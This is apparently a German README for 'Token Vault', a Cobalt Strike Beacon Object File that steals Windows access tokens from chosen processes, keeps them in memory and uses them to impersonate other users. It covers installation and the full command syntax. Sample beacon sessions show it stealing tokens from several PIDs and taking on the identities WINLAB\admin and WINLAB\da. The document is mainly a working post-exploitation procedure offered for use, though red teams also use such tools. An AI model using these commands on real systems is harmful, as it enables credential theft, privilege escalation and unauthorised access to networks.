Token Vault BOF für Cobalt Strike

Diese Beacon Object File (BOF) erstellt einen In-Memory-Speicher für gestohlene/duplizierte Windows-Zugriffstoken, die es dir ermöglichen:

Bereits gestohlene Token heiß zu tauschen/wiederzuverwenden, ohne sie erneut zu duplizieren.
Token für die spätere Verwendung aufzubewahren, falls eine Person sich abmeldet.

Installation

Lade das neueste Release build herunter oder baue es mit make all.
Lade das token-vault.cna-Aggressor-Skript in deinen Cobalt-Strike-Client.

Verwendung

beacon> help token-vault
Available Commands:
    Create a new token vault:    token-vault create
    Steal and store tokens:      token-vault steal <comma separated list of PIDs> [vault-id]
    Use the stored token:        token-vault use <token-id> [vault-id]
    Show the stored tokens:      token-vault show [vault-id]
    Remove the stored token:     token-vault remove <token-id> [vault-id]
    Remove all tokens:           token-vault remove-all [vault-id]
    Set the default token vault: token-vault set <vault-id>

Vault-Erstellung

Der Befehl token-vault create weist einen leeren Vault aus dem Heap des Beacons zu. Die empfangene Ausgabe enthält die Speicheradresse des Vaults (auch bekannt als Vault-ID), die verwendet wird, um den Vault für die anderen token-vault-Befehle anzugeben.

beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610

Zusätzlich kann eine bestimmte Vault-ID als Standard-Vault festgelegt werden, der verwendet wird, wenn ein token-vault-Befehl die Vault-ID nicht enthält.

beacon> token-vault set 0000000000C31610

Es ist wichtig zu beachten, dass konfigurierte Standard-Vaults im Cobalt-Strike-Client leben und nicht zwischen Clients geteilt werden.

Token stehlen

Der Befehl token-vault steal dupliziert die Token der angegebenen Prozesse und speichert sie im Vault.

beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin

Gespeicherte Token anzeigen

beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited

Token verwenden

Der Befehl token-vault use führt die Identitätsübernahme eines Tokens aus dem Vault durch. Wenn das Token nicht existiert, wird es gestohlen und im Vault gespeichert.

beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited

beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da

Token entfernen

Der Befehl token-vault remove entfernt ein gespeichertes Token aus dem Vault.

beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600

Zusätzlich entfernt der Befehl token-vault remove-all alle Token auf einmal.

cs-token-vault

Beliebteste